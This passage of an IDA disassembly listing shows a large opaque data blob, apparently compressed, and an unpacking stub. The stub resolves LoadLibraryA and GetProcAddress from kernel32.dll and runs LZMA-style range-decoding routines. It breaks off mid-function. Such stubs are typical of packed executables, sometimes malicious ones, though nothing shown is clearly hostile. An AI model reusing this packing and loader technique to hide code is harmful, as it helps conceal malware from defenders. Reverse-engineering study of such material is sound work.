		dd 0F1BDE1Fh, 3B24ABDAh, 0EDEABCBh, 52E2B2A4h, 79DB9325h
		dd 0F460E7E9h, 0E8E8F8B7h, 17C3C755h, 93C38CD6h, 79AA2662h
		dd 952B3AD1h, 0D74F60A5h, 0CC1B7642h, 0E3BE75D4h, 0D5A7B06Ah
		dd 1FBA4C78h, 5B8EA112h, 0C8BBBA04h, 0E876323h,	0D6476285h
		dd 8BB5684h, 2683D4BEh,	9DDACB87h, 93ECC420h, 229AD840h
		dd 0BC0F97FBh, 1C301361h, 0C1F8EDA9h, 4EF46B0Bh, 2CFF4183h
		dd 0E1CB00E0h, 0FD9DF721h, 0A95A5F6Bh, 1145F668h, 57F3318Fh
		dd 6D05F1ABh, 8EEDA65Bh, 4D97EA10h, 0DA83FA1Ah,	0B92540B9h
		dd 0CF5BB973h, 167C3023h, 0AD53B331h, 2CDCE552h, 0D42AFD3Ah
		dd 0B7870474h, 173AD4AFh, 98AA3A19h, 9F2C5F33h,	351BB58h
		dd 5803E36Bh, 6856244Bh, 2B4E0C25h, 0E067ABA1h,	0E6050BFCh
		dd 20DF5F66h, 0D2CB7FF1h, 0A3B977D2h, 536CAD40h, 604E7C16h
		dd 0F06411A9h, 0F729574Dh, 95B0B576h, 0B137D115h, 0BDD9AD2Ah
		dd 35D800B7h, 813E021Dh, 503863C7h, 33C90B39h, 0A2421E03h
		dd 0C8B0F408h, 0F02CCF76h, 753CB72Eh, 0D64E7FD3h, 992DC5B2h
		dd 2968E1CFh, 7FE68E28h, 628E38Ch, 0C8267149h, 0CC51C7ADh
		dd 0D6011B67h, 1C4B8481h, 4986095Eh, 1FA6ECF1h,	742ADF89h
		dd 0C75D9A27h, 6B6B714Eh, 0D47A9AFAh, 79C72413h, 85B07D87h
		dd 5A6905E0h, 0FFE158DEh, 0FAD29540h, 7C75DEB9h, 0C7F3268Bh
		dd 0D68585BEh, 8BF47D80h, 0C4864FFBh, 694520ACh, 0BE28CE7Dh
		dd 3AD5A806h, 0F2542C9Eh, 0A86CC734h, 6F327D83h, 0FE812E00h
		dd 217D671h, 47523283h,	0CFA796BCh, 51F09B23h, 523FE3F4h
		dd 0D602D960h, 58D8E2DBh, 534BD6C6h, 46C5B46Eh,	0DE50E908h
		dd 0D6B3893Bh, 0CE9C2027h, 0DCC691AEh, 764A05A5h, 36E93EB8h
		dd 7E10F157h, 9F291D8Dh, 4082364Bh, 0B4F50C46h,	0BAEF4C3Fh
		dd 3F937453h, 3EDF875Dh, 0CDD24F2Eh, 279E3173h,	6FB744B8h
		dd 9D2FBF96h, 7FDBDBCCh, 38930FBBh, 7FC89A5Eh, 0AAE62BD5h
		dd 72FBC499h, 0A48D7C38h, 0AC140BDEh, 7415883Fh, 82319572h
		dd 25D21371h, 0A928F6A5h, 0F1804D57h, 84E78FBAh, 83028ABAh
		dd 0FE387144h, 0D541C87Eh, 0CDC47721h, 3087C808h, 0C821C55Ch
		dd 4CF17851h, 4A65E14Eh, 68FC3B4Eh, 6CAD1F6h, 10A60641h
		dd 4D5F0E50h, 1441883Fh
		dd 0A83F3A15h, 0D18DD15Ah, 0E06811C1h, 43AB1276h, 758158B1h
		dd 326D957Fh, 87C36AE3h, 7515B11Ah, 0FA7B6AEh, 1D914EB0h
		dd 0A08AEF03h, 642E5130h, 75F45370h, 6329C3D7h,	9EB4950Ch
		dd 1059FFF1h, 45AEA3EDh, 4ED99DECh, 91B992CCh, 0D441A7BDh
		dd 0E540EAE1h, 34690E18h, 0AD90C6C1h, 0AFD7C0h,	76F379Ah
		dd 68312182h, 343F709Ch, 0B8802E1Bh, 36FCBEF4h,	8B398C85h
		dd 0C2E08396h, 0C50CF70Dh, 0D850BFDBh, 0D8DC2ACAh, 0B296D60Dh
		dd 0CA316566h, 0ABDF9F91h, 0EC15447Ch, 9474Dh, 930E4608h
		dd 7AC2F463h, 8BF3F953h, 0E9D13021h, 0FEE259EDh, 943A66E5h
		dd 0E61D10ACh, 554C8F78h, 0D9630C91h, 1F490D53h, 0EEF67BCBh
		dd 2BD9E906h, 4EC2B9D4h, 0A8B4E205h, 8C22257Eh,	500771B4h
		dd 8F105400h, 0CE28EBF7h, 8E47EE58h, 5BC35DBBh,	0D8C2A00Ah
		dd 0BD7CEA8h, 566D1011h, 5505BB0h, 678C6507h, 73342667h
		dd 0EB48C6AAh, 364F33F8h, 62E33606h, 2EF6A9CAh,	0ABCD9820h
		dd 0B9B25D59h, 0E550A691h, 46EC7880h, 6DDE5DC2h, 64B5C327h
		dd 259B9570h, 0EE92FA56h, 9A0C75F1h, 0BA8B6F3Bh, 0AA09A1C6h
		dd 0C42AC359h, 0D7799609h, 5928E68h, 591DDB05h,	98CCAC90h
		dd 0B0875D4Ch, 87DA1DB3h, 0E33BE18h, 0A2957B6Fh, 7485CF22h
		dd 7F6ED79Ah, 0B3819BA7h, 663E3317h, 0A84174A4h, 0F407E89Ah
		dd 0A3D0311Eh, 0DBD0F6B0h, 3DD0AACCh, 263BF67Ah, 574C51A8h
		dd 20F2FAh, 0BC42B1E5h,	3EC89DEh, 88C4682Ch, 1990C81Dh
		dd 95577A68h, 808A0285h, 0CE7E912Dh, 0F4D7EC6Fh, 5A186029h
		dd 60681AACh, 6AA7BD4h,	0F3727D0Ch, 0D85039D6h,	2EAE3DEAh
		dd 8DDC0845h, 51788CFFh, 83216A87h, 0D80D9502h,	0EA7DFA01h
		dd 8925A52Eh, 87E496F7h, 0B5224721h, 40BFD6FCh,	1E3D79B0h
		dd 900DFFC0h, 3DD9F73Fh, 2D81F349h, 0FE3E379Ah,	0DD403270h
		dd 302C729Ch, 97ACDAF0h, 0A1BF8096h, 1838F04Bh,	0F6CE99F5h
		dd 73B7E141h, 0AE136C12h, 926F607Dh, 9766FC6Dh,	0B2796414h
		dd 73708EB1h, 5682355Ah, 91BA53C0h, 1E4E9869h, 0AA63F8ABh
		dd 6D6DF6B3h, 0EC642846h, 3515C065h, 0A8724E1Bh, 6B47F355h
		dd 0C956FE39h, 0BC634DBBh, 3EC68D0Fh, 95A420ECh, 0E8909D15h
		dd 0F65648F8h, 339F168Eh, 42C3A47Eh, 57CCD9E9h,	0D6321A01h
		dd 4A6A55A1h, 0B178824Ah, 0A56F4A4Fh, 705293BEh, 9B3CFC90h
		dd 790D9263h, 0E4D4EB25h, 11A93ACDh, 0C2318C60h, 9A1E9D6h
		dd 646F135Fh, 53734612h, 593D889Ch, 0F4E83917h,	0C0300524h
		dd 0CEB69CC0h, 80F61534h, 180689C2h, 9B765831h,	5193F0EEh
		dd 55BAA7C3h, 77A061CDh, 572CE109h, 1E22BBDDh, 99A63EDAh
		dd 71BEE2CBh, 5656325Bh, 0F331A850h, 0ADA5DFEBh, 2F516E2Eh
		dd 60464422h, 63EBED04h, 66A5D12Ch, 0D433055Ah,	0EC9912FEh
		dd 80292A42h, 5BB120CFh, 5C8288A1h, 965B48B4h, 0CB8FB6F1h
		dd 0A9037AECh, 0F0FCA7E7h, 6AEA4E74h, 0B99DE77Ah, 1EFC763Fh
		dd 0AD7467DFh, 0FD604344h, 54BE08Fh, 0B826D9BEh, 2A6AB542h
		dd 0F1B1EBDCh, 0F8A2BDAFh, 9B973D5Ch, 95E0443Dh, 0D3B7A5BFh
		dd 1252C4F2h, 67966379h, 245C52E6h, 1EE56260h, 20E54F96h
		dd 3EFD9850h, 1A7CC682h, 356757C5h, 0D111A6DAh,	0A3A10EAh
		dd 7E00F7B3h, 6798A8F8h, 0E22D7880h, 8B1A796Ah,	31023FF3h
		dd 0CDDF3F82h, 65AEE22Fh, 0C0208467h, 8753D3A3h, 0F412362Dh
		dd 583C281h, 447797FAh,	0D5A321Ah, 7E461939h, 0D4847D56h
		dd 0AA657AE0h, 0F9A5FFEDh, 1D03F78Eh, 0FC290922h, 0F95AC6BFh
		dd 8E7F1F45h, 17B27EEFh, 48861FCAh, 0CB4320D5h,	0EC770E20h
		dd 8962FAE2h, 0AB65EC74h, 0CD0608B5h, 386DCFBBh, 5581D97Dh
		dd 1E04E77Ch, 0FBFC6456h, 3A879E7Fh, 0E14345E1h, 0CC588AD2h
		dd 1E74DC83h, 86964613h, 1EC836B4h, 485103h, 0DC22E198h
		dd 3585543Eh, 0AE81932Ah, 0AB1A212Bh, 9FE92615h, 0F8D5D9F4h
		dd 62104630h, 0CFBED84h, 0CB84353Bh, 52FDDFDCh,	9845827Ch
		dd 4A8D63EEh, 0C1D157ACh, 0A452EE50h, 0CA49175Fh, 43E16C88h
		dd 0C2576535h, 5DEFD08Fh, 323F84E0h, 0F359A25Ch, 0C24A9A53h
		dd 7F2AEBDFh, 52492085h, 2A50DD55h, 26073734h, 737A8944h
		dd 0DAB15E4Ch, 0E2B56EBFh, 2F30C298h, 66E45D7Fh, 0D952DFE8h
		dd 1D647888h, 83748960h, 0D0A0613Bh, 316E9BE1h,	7DE0D83Bh
		dd 0CB0961B2h, 0F46F00A2h, 0EF646638h, 385AE81Ch, 0C9743252h
		dd 0DB6E8581h, 37E01A5Bh, 0B8190715h, 95977880h, 2A94C546h
		dd 2A669ABEh, 0D07738B5h, 0CBEC0AC5h, 4BF2699Fh, 0CEFEBD08h
		dd 158F17EEh, 8270BF1Bh, 0D0924466h, 4DFAD990h,	8F687EB3h
		dd 734EA2DCh, 181D61C8h, 0AFEBF4B2h, 0F2EE5C82h, 468DCB74h
		dd 5D233224h, 74749D04h, 0BD791174h, 558D5103h,	1ADD0249h
		dd 0F752D524h, 7606833h, 0CA3BEDAEh, 8637D4B7h,	0A584EEF3h
		dd 0A0BC52A4h, 385769B2h, 3F4012C4h, 27EA7B28h,	0D6EB2811h
		dd 15236A96h, 8361D75h,	0D96BC141h, 69CEB078h, 3B2D3AD2h
		dd 79E0668Eh, 549B1B5Eh, 0AA4CE51Bh, 813540F6h,	0A908366h
		dd 0E0C4D88Eh, 0A8379155h, 815F0804h, 0EFB947FBh, 0E0995733h
		dd 1795BE92h, 0C54358Eh, 0C3F3A3AAh, 0F299C4DEh, 850A61A8h
		dd 60EAB2Fh, 66E838E1h,	0A0D9E0F9h, 5C25958Fh, 1D638813h
		dd 0B3C2DF3Ah, 0F11AA722h, 81F45039h, 9976BD64h, 6726362Eh
		dd 2C64ACC6h, 5C0C807Dh, 8AE335E9h, 0EDAAC25Ah,	6E149E8Fh
		dd 0EF681A2Bh, 0C195D2E3h, 0E8F032A5h, 0D86480C2h, 460E633Ah
		dd 4E214A31h, 9BD4EA59h, 141AE9h, 82C9EA23h, 2603A53h
		dd 0FC16A68Eh, 3BD5487Fh, 0CE82B1C4h, 0D6D08CC7h, 0A8A70DDh
		dd 1A947FB2h, 74F6BF7Fh, 1D6F54A1h, 5818E546h, 55BE124Bh
		dd 778EB054h, 6DC198A7h, 5FEAB545h, 2A8AF760h, 0E695F20Ah
		dd 18AAB42Eh, 32B4C409h, 32C5B10Bh, 49B661D7h, 7372AFFAh
		dd 0C8AF8050h, 0B7C0CB13h, 1B54DF85h, 85D7885Fh, 6DB60618h
		dd 60DBEB76h, 0C1707DD1h, 0B9AD09D2h, 54A6FFB3h, 0A34A1E11h
		dd 3F2C559Dh, 0C00A8C9Fh, 0B84E02D1h, 66367C7Fh, 0C0153FA5h
		dd 6F6C4438h, 0F230F892h, 0EFF07317h, 9ED3C605h, 0A053D11Eh
		dd 0ACBD966Dh, 0E00426C5h, 8C242192h, 0CD11AEBDh, 1E12D57h
		dd 0F6B272C1h, 1761E997h, 0E23BA6D2h, 0A2A5F41Fh, 20804C02h
		dd 0D05C8F8Fh, 9A82983Bh, 0EE1EA3B6h, 0F78C008h, 84E8BB57h
		dd 4BA0C33h, 5BBC9B2Bh,	4DDE8B99h, 470C2A88h, 6E7A9472h
		dd 980E4CFDh, 6423D195h, 8392B97Eh, 36F1EBFh, 0F43FC3A5h
		dd 15FE86CDh, 43FE49Ch,	0F3EF5DEAh, 0E24FC1C6h,	75E6305Bh
		dd 88204943h, 951C5AE6h, 5A5495E0h, 57D61A51h, 7BB49BD5h
		dd 2606BE74h, 0AEFD5F64h, 0C0F83747h, 32B0CF65h, 0DBBBE7A5h
		dd 9726962h, 47EDA139h,	695CD8B7h, 3EA0ACF2h, 0E61E8EEAh
		dd 98D2BB9h, 9FA33991h,	2459CD2Eh, 647C3D6Fh, 8EA3192h
		dd 955F8777h, 49884A7Dh, 0F78E3B54h, 324C1D68h,	12AB453Fh
		dd 5EB62316h, 0DF424CBBh, 94FACB83h, 0A6A3A637h, 0CEF00154h
		dd 3FAB298Dh, 72F630D3h, 0DF3D27A2h, 3D6E9BB1h,	0FCD3597Bh
		dd 564F9A7Dh, 1737FF23h, 683D5CF7h, 45B8C855h, 4B9BA51Bh
		dd 11E2526Dh, 0BA03F7C4h, 0A727387Bh, 4C3562F3h, 420BC16Eh
		dd 0DB0005B9h, 806BB8BEh, 6D5A3EEDh, 45E664E5h,	0E60C8383h
		dd 0E4AA43C4h, 2EAA5DD8h, 0F25EDC66h, 0FA3EFB76h, 75B3A2FCh
		dd 4004B1FCh, 0B859D765h
		dd 0EDC74309h, 0A7E59F3Eh, 0FB92B94Eh, 0CC3E50B8h, 0C94A9947h
		dd 95D2FDD9h, 3C01CAB5h, 992DE7B7h, 0DACF4F62h,	1DFF91E5h
		dd 8D343F12h, 5BB7C0D1h, 3B4B3BB3h, 0A5FF9B53h,	0E5B1A673h
		dd 97CDB0D8h, 55D60316h, 0D2707B0Ch, 8CECDADCh,	0F7DC76E0h
		dd 0D8434B86h, 0FF90511Bh, 42C866FEh, 3A73084h,	0BDB85704h
		dd 0DE962AF7h, 6E12DA59h, 4029DF49h, 33F19A3Dh,	4D7DAE6Dh
		dd 0E7EB4F9h, 1EA6ADE8h, 0FE31B2CFh, 46519A84h,	910416A2h
		dd 0D188881Fh, 56F237h,	6BBC6F0Bh, 0ECFDE674h, 8AC22F49h
		dd 0B2EC2EB9h, 6143BAB1h, 0C50D2B1Ch, 64364C10h, 54441686h
		dd 9C51CFC7h, 4E9B698Eh, 5A75C45Eh, 0C47AEDAAh,	0F2C50A22h
		dd 936CC132h, 1B7824DFh, 82B63E66h, 0FC495C29h,	30D721EBh
		dd 305B3EA2h, 715CD07Fh, 0C9717BE4h, 634F4D39h,	4B3CF8FCh
		dd 0AF6AC9D0h, 659A56AFh, 0B8450CB1h, 0E16EDE77h, 4038863h
		dd 0CEE21578h, 69C6BDA1h, 494F009Eh, 712A27B7h,	76D4D1D7h
		dd 9C7D6459h, 91514498h, 2526D568h, 3F85B515h, 0CA1CF4ABh
		dd 0E6459CDAh, 0F14115C2h, 0CCD57F8h, 2CCDB331h, 7EB4650Ah
		dd 94453058h, 7114068Dh, 0AFE4B3EBh, 2B69DA4h, 0C2C8B154h
		dd 0FA9E2D02h, 0ABF919AFh, 5EF55719h, 91B6DD2Fh, 0F9ACF85Bh
		dd 67908A05h, 0C25D4AF4h, 0A25557B7h, 0BF2229D1h, 0D7BF0884h
		dd 2B7D0A2Ch, 0ACF46594h, 952ACAF2h, 74A1E8ACh,	0F4C33C33h
		dd 15B573CDh, 5A8D2921h, 0EDA6AF56h, 1632A432h,	7F2D1A4Eh
		dd 7D79AE4Ah, 975F7803h, 30CDE43h, 751A8930h, 6DCCCA67h
		dd 0ADC6AD53h, 0D50EC228h, 41F14EC1h, 333A92Bh,	84456291h
		dd 833FB9DBh, 0C262D0B2h, 0CE8CA87Dh, 0BCB3BC2Bh, 278C671Dh
		dd 0BE0EC97Ah, 0E0A5AEB7h, 1AE15E6Fh, 0BBCA8189h, 337A8512h
		dd 1F0EF999h, 0C28DBD74h, 0B0CD9B43h, 7FCD5CB9h, 0D1283A68h
		dd 8FB49746h, 7E4EAD46h, 0E1CE87C7h, 4A4E35E6h,	90DF0C79h
		dd 45BEEFE9h, 29B4C40Ch, 245DC054h, 45843570h, 7E818F16h
		dd 0E7BDAE1Bh, 9E5BF6FEh, 0C6BB6AD4h, 0AE7BAC75h, 4148A3C2h
		dd 9839EB26h, 0C6359CE7h, 0B9F8B1Bh, 85F510Bh, 4C8F3BAFh
		dd 6F7FAA57h, 9CC68A42h, 0FC5B8ED7h, 0D38844C0h, 0E1C1015Bh
		dd 0D73CD4E6h, 89FAB526h, 16AAAD0Ah, 779A784Eh,	37F67287h
		dd 59B4F592h, 24FB38F4h, 0C79E596Bh, 0E964EC51h, 0E5EC1854h
		dd 0F5A0575Dh, 88E1ED31h, 975F1DC1h, 0F71355E4h, 1689F5ADh
		dd 7E043775h, 9F96F6D1h, 3A7C7368h, 0E88AA4A5h,	9154EBF3h
		dd 460B3433h, 22887835h, 721E67FDh, 93B5C47Eh, 4E82FFBEh
		dd 2DCBF6Bh, 0AC12868Eh, 10AF9E5Dh, 4651F804h, 78FB38A3h
		dd 0A4DAEB68h, 5ADB6F30h, 2386B1B8h, 0FE7ED570h, 59176E59h
		dd 52985086h, 0D7605AFCh, 15DA1FECh, 0CAB3697Fh, 0BD5EAB70h
		dd 5CDEE5A6h, 68DA6ED9h, 5745576Ah, 0CE8A0F62h,	79B54A58h
		dd 9F6C48BAh, 267DDBEh,	243989BEh, 4C6CE0FEh, 32AAAC5Ah
		dd 0FC9CF8CBh, 0F55659D8h, 2C7549FFh, 1B0D75BDh, 18DD62C3h
		dd 9073182Ch, 0BA6176A0h, 0EEF8B9F9h, 2477FD6Bh, 0E8B07756h
		dd 0FD49BF19h, 3B3EB599h, 0CCE11BD3h, 0F24D3F7Bh, 6F4836EFh
		dd 8BAFF09Eh, 673B2E29h, 75462412h, 876EC9Dh, 91DDBD57h
		dd 9D07C458h, 0A9D34E64h, 5E0F6FF7h, 4B2FA783h,	0BEA881A6h
		dd 53CE5E1Eh, 0E86871AEh, 285ED496h, 0AA572262h, 9DC7C1CCh
		dd 0B17776FEh, 0E8BFDC3Ah, 5281AFE4h, 0A71DAAB3h, 32C27281h
		dd 0FA5EF41Dh, 0D8B0BEE2h, 40302CA1h, 6CD2BC3Ah, 86C46784h
		dd 3952499Fh, 0EF376E15h, 9F511E70h, 5F0E814Dh,	0A72C2BA2h
		dd 4A0A63DCh, 0D1B81870h, 95EF2396h, 0D38D4CF3h, 20E1677Ah
		dd 864A96A4h, 0D029AEC8h, 0DA07DF8Bh, 4919A87Eh, 5AF9C038h
		dd 0F42AEC6Bh, 4E9BEE0Eh, 59E1DFF7h, 0E6C93C25h, 190E27A2h
		dd 7BD81B82h, 3494026Dh, 7EDC0E78h, 6AC4DE8h, 69A9556Bh
		dd 0FC182ADEh, 0DD984E9Bh, 0B9F61C3Bh, 0EF1336DCh, 0D007A721h
		dd 0CA5AF070h, 1493B0ABh, 0F2CCC7EEh, 0B515B7BBh, 41AFB671h
		dd 0A3B9635Bh, 0A5315634h, 8DF6A9D9h, 4F40F0A6h, 3959EC4Ch
		dd 1893277Eh, 0BF28C541h, 67B1D090h, 2854A930h,	0D20B3C98h
		dd 1F983441h, 4D6B0DA7h, 31BDA17Bh, 0F02F3DDCh,	8761BB5Fh
		dd 770F5A56h, 878E924Ah, 0EB1FF7FFh, 5FBD75A9h,	9C5066ECh
		dd 912865D7h, 0DFD01D8Bh, 0E595734Fh, 2B77AD6Ah, 0DE77885Fh
		dd 8958F8BFh, 0FC3F710h, 0C02DC336h, 813A0BDFh,	4C7AE40Fh
		dd 5BE8D6B7h, 0C3A67E6Fh, 0D968F07Ah, 7A0759EFh, 31134FD1h
		dd 5B953D86h, 0E88A3766h, 838B9745h, 0A4691959h, 3AFBFD39h
		dd 5DC29984h, 5975F8F2h, 1A0AB0A4h, 0B3409FC5h,	0F2AA1E39h
		dd 0D2A1185Dh, 0CB5FCA2Bh, 855E80ACh, 7B0634Eh,	0D91F631Ah
		dd 8ECC0606h, 5777F4Eh,	0DB76D3D3h, 49D5FF3Eh, 6C5A3D2Dh
		dd 0E9FD6D91h, 3B7B8462h, 8C8CE5DDh, 70356902h,	228D8A0Fh
		dd 9DAB563h, 19A4AB56h,	31DCD530h, 67B1ABA2h, 26D860D7h
		dd 0DE150488h, 0E450CA23h, 0F2421270h, 9BF51488h, 742AA3E7h
		dd 64AA381Eh, 3E102491h, 2FE241A2h, 9DD982A8h, 916CC90Ah
		dd 3BF03AE3h, 336E386Fh, 924B933Eh, 5D81EE9Ch, 0CF057F53h
		dd 4472645Fh, 5A80B813h, 0D8729FE2h, 2A8FDA2h, 26F974F4h
		dd 0FAD7A3C8h, 6DC61BDDh, 0C2AB6090h, 0D7E423B5h, 0D7B59B15h
		dd 0B955BF10h, 71CD4791h, 7BE65421h, 221A049Ch,	9D923607h
		dd 6DEC48E5h, 0B915D2CBh, 3D1ED15h, 0AAADD129h,	332D33D5h
		dd 8BAA45B0h, 0A2FBF01Bh, 0A97B3C39h, 9C693097h, 542E3799h
		dd 7FF1FAE9h, 0B839DBF2h, 23664109h, 85A515DAh,	4897489Ah
		dd 0F559B8D2h, 0C4768DDFh, 0F5488A64h, 0FA3E58A3h, 0E7046EC1h
		dd 0A59DD08Eh, 832C096Ah, 23646244h, 0A7236E95h, 35342A5Ah
		dd 0ABE550F4h, 6C9F0EF0h, 1B438AF6h, 0C0h, 420FA600h, 72656B00h
		dd 336C656Eh, 6C642E32h, 6F4C006Ch, 694C6461h, 72617262h
		dd 47004179h, 72507465h, 6441636Fh, 73657264h
		db 73h,	0
; [00000005 BYTES: COLLAPSED FUNCTION start. PRESS KEYPAD "+" TO EXPAND]
		db 0Ch
		dd 210h, 0
		dd 0B1000000h, 0C000336h
		db 10h,	2, 0

; =============== S U B	R O U T	I N E =======================================



sub_4336F3	proc near		; CODE XREF: __u_____:004339B2p
		and	dword ptr [ecx+8], 0
		or	dword ptr [ecx+4], 0FFFFFFFFh
		push	esi
		push	edi
		push	5
		mov	[ecx], edx
		pop	edx


loc_433702:				; CODE XREF: sub_4336F3+23j
		mov	eax, [ecx]
		mov	esi, [ecx+8]
		shl	esi, 8
		movzx	edi, byte ptr [eax]
		or	esi, edi
		inc	eax
		dec	edx
		mov	[ecx+8], esi
		mov	[ecx], eax
		jnz	short loc_433702
		pop	edi
		pop	esi
		retn
sub_4336F3	endp


; =============== S U B	R O U T	I N E =======================================



sub_43371B	proc near		; CODE XREF: __u_____:00433BC8p
		push	esi
		mov	esi, [ecx+4]
		xor	eax, eax
		push	edi
		mov	edi, [ecx+8]
		test	edx, edx
		jle	short loc_433756
		push	ebx
		push	ebp
		mov	ebx, edx


loc_43372D:				; CODE XREF: sub_43371B+37j
		shr	esi, 1
		shl	eax, 1
		cmp	edi, esi
		jb	short loc_433739
		sub	edi, esi
		or	al, 1


loc_433739:				; CODE XREF: sub_43371B+18j
		cmp	esi, 1000000h
		jnb	short loc_433751
		mov	edx, [ecx]
		shl	edi, 8
		movzx	ebp, byte ptr [edx]
		shl	esi, 8
		or	edi, ebp
		inc	edx
		mov	[ecx], edx


loc_433751:				; CODE XREF: sub_43371B+24j
		dec	ebx
		jnz	short loc_43372D
		pop	ebp
		pop	ebx


loc_433756:				; CODE XREF: sub_43371B+Cj
		mov	[ecx+8], edi
		mov	[ecx+4], esi
		pop	edi
		pop	esi
		retn
sub_43371B	endp


; =============== S U B	R O U T	I N E =======================================



sub_43375F	proc near		; CODE XREF: sub_4337F7+1Ep
					; sub_433831+23p ...
		push	esi
		mov	esi, [edx+4]
		push	edi
		mov	eax, esi
		movzx	edi, word ptr [ecx]
		shr	eax, 0Bh
		imul	eax, edi
		mov	edi, [edx+8]
		cmp	edi, eax
		jnb	short loc_4337B5
		mov	[edx+4], eax
		mov	ax, [ecx]
		movzx	esi, ax
		mov	edi, 800h
		sub	edi, esi
		sar	edi, 5
		add	edi, eax
		mov	[ecx], di
		mov	eax, [edx+4]
		cmp	eax, 1000000h
		jnb	short loc_4337B1
		mov	ecx, [edx]
		mov	esi, [edx+8]
		shl	esi, 8
		movzx	edi, byte ptr [ecx]
		or	esi, edi
		inc	ecx
		shl	eax, 8
		mov	[edx+8], esi
		mov	[edx], ecx
		mov	[edx+4], eax


loc_4337B1:				; CODE XREF: sub_43375F+37j
		xor	eax, eax
		jmp	short loc_4337F4
; ---------------------------------------------------------------------------


loc_4337B5:				; CODE XREF: sub_43375F+15j
		sub	esi, eax
		sub	edi, eax
		mov	[edx+4], esi
		mov	[edx+8], edi
		mov	ax, [ecx]
		mov	si, ax
		shr	si, 5
		sub	eax, esi
		mov	[ecx], ax
		mov	eax, [edx+4]
		cmp	eax, 1000000h
		jnb	short loc_4337F1
		mov	ecx, [edx]
		mov	esi, [edx+8]
		shl	esi, 8
		movzx	edi, byte ptr [ecx]
		or	esi, edi
		inc	ecx
		shl	eax, 8
		mov	[edx+8], esi
		mov	[edx], ecx
		mov	[edx+4], eax


loc_4337F1:				; CODE XREF: sub_43375F+77j
		push	1
		pop	eax


loc_4337F4:				; CODE XREF: sub_43375F+54j
		pop	edi
		pop	esi
		retn
sub_43375F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4337F7	proc near		; CODE XREF: sub_4338F1+1Ep
					; sub_4338F1+45p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	edi
		mov	ebx, edx
		push	1
		test	ebx, ebx
		mov	edi, ecx
		pop	eax
		jle	short loc_433822
		push	esi
		mov	[ebp+var_4], ebx


loc_43380C:				; CODE XREF: sub_4337F7+28j
		mov	edx, [ebp+arg_0]
		lea	esi, [eax+eax]
		lea	ecx, [esi+edi]
		call	sub_43375F
		add	eax, esi
		dec	[ebp+var_4]
		jnz	short loc_43380C
		pop	esi


loc_433822:				; CODE XREF: sub_4337F7+Fj
		push	1
		mov	ecx, ebx
		pop	edx
		pop	edi
		shl	edx, cl
		pop	ebx
		sub	eax, edx
		leave
		retn	4
sub_4337F7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_433831	proc near		; CODE XREF: __u_____:loc_433BB9p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	edi
		mov	[ebp+var_8], edx
		xor	edi, edi
		cmp	[ebp+var_8], edi
		push	1
		mov	ebx, ecx
		pop	edx
		mov	[ebp+var_4], edi
		jle	short loc_43386A
		push	esi


loc_43384B:				; CODE XREF: sub_433831+36j
		lea	esi, [edx+edx]
		mov	edx, [ebp+arg_0]
		lea	ecx, [esi+ebx]
		call	sub_43375F
		mov	ecx, edi
		lea	edx, [esi+eax]
		shl	eax, cl
		or	[ebp+var_4], eax
		inc	edi
		cmp	edi, [ebp+var_8]
		jl	short loc_43384B
		pop	esi


loc_43386A:				; CODE XREF: sub_433831+17j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	ebx
		leave
		retn	4
sub_433831	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_433873	proc near		; CODE XREF: __u_____:00433A26p

var_4		= dword	ptr -4
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		movzx	esi, [ebp+arg_0]
		shr	esi, 7
		shl	[ebp+arg_0], 1
		mov	eax, esi
		push	edi
		mov	edi, ecx
		mov	[ebp+var_4], edx
		shl	eax, 9
		lea	ecx, [eax+edi+202h]
		call	sub_43375F
		mov	ebx, eax
		or	ebx, 2


loc_43389F:				; CODE XREF: sub_433873+59j
		cmp	esi, eax
		jnz	short loc_4338CE
		cmp	ebx, 100h
		jge	short loc_4338E8
		movzx	esi, [ebp+arg_0]
		shr	esi, 7
		mov	edx, [ebp+var_4]
		shl	[ebp+arg_0], 1
		lea	eax, [esi+1]
		shl	eax, 8
		add	eax, ebx
		lea	ecx, [edi+eax*2]
		call	sub_43375F
		add	ebx, ebx
		or	ebx, eax
		jmp	short loc_43389F
; ---------------------------------------------------------------------------


loc_4338CE:				; CODE XREF: sub_433873+2Ej
		mov	esi, 100h


loc_4338D3:				; CODE XREF: sub_433873+73j
		cmp	ebx, esi
		jge	short loc_4338E8
		mov	edx, [ebp+var_4]
		add	ebx, ebx
		lea	ecx, [ebx+edi]
		call	sub_43375F
		or	ebx, eax
		jmp	short loc_4338D3
; ---------------------------------------------------------------------------


loc_4338E8:				; CODE XREF: sub_433873+36j
					; sub_433873+62j
		pop	edi
		mov	al, bl
		pop	esi
		pop	ebx
		leave
		retn	4
sub_433873	endp


; =============== S U B	R O U T	I N E =======================================



sub_4338F1	proc near		; CODE XREF: __u_____:00433B21p
					; __u_____:00433B69p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, edx
		mov	esi, ecx
		call	sub_43375F
		test	eax, eax
		jnz	short loc_433916
		mov	eax, [esp+8+arg_0]
		push	edi
		shl	eax, 4
		push	3
		pop	edx
		lea	ecx, [eax+esi+4]
		call	sub_4337F7
		jmp	short loc_433951
; ---------------------------------------------------------------------------


loc_433916:				; CODE XREF: sub_4338F1+Dj
		mov	edx, edi
		lea	ecx, [esi+2]
		call	sub_43375F
		test	eax, eax
		push	edi
		jnz	short loc_433940
		mov	eax, [esp+0Ch+arg_0]
		push	3
		shl	eax, 4
		pop	edx
		lea	ecx, [eax+esi+104h]
		call	sub_4337F7
		add	eax, 8
		jmp	short loc_433951
; ---------------------------------------------------------------------------


loc_433940:				; CODE XREF: sub_4338F1+32j
		push	8
		lea	ecx, [esi+204h]
		pop	edx
		call	sub_4337F7
		add	eax, 10h


loc_433951:				; CODE XREF: sub_4338F1+23j
					; sub_4338F1+4Dj
		pop	edi
		pop	esi
		retn	4
sub_4338F1	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		push	ebx
		lodsd
		mov	[ebp-28h], eax
		mov	[ebp-1Ch], esi
		mov	ebx, [ebp-28h]


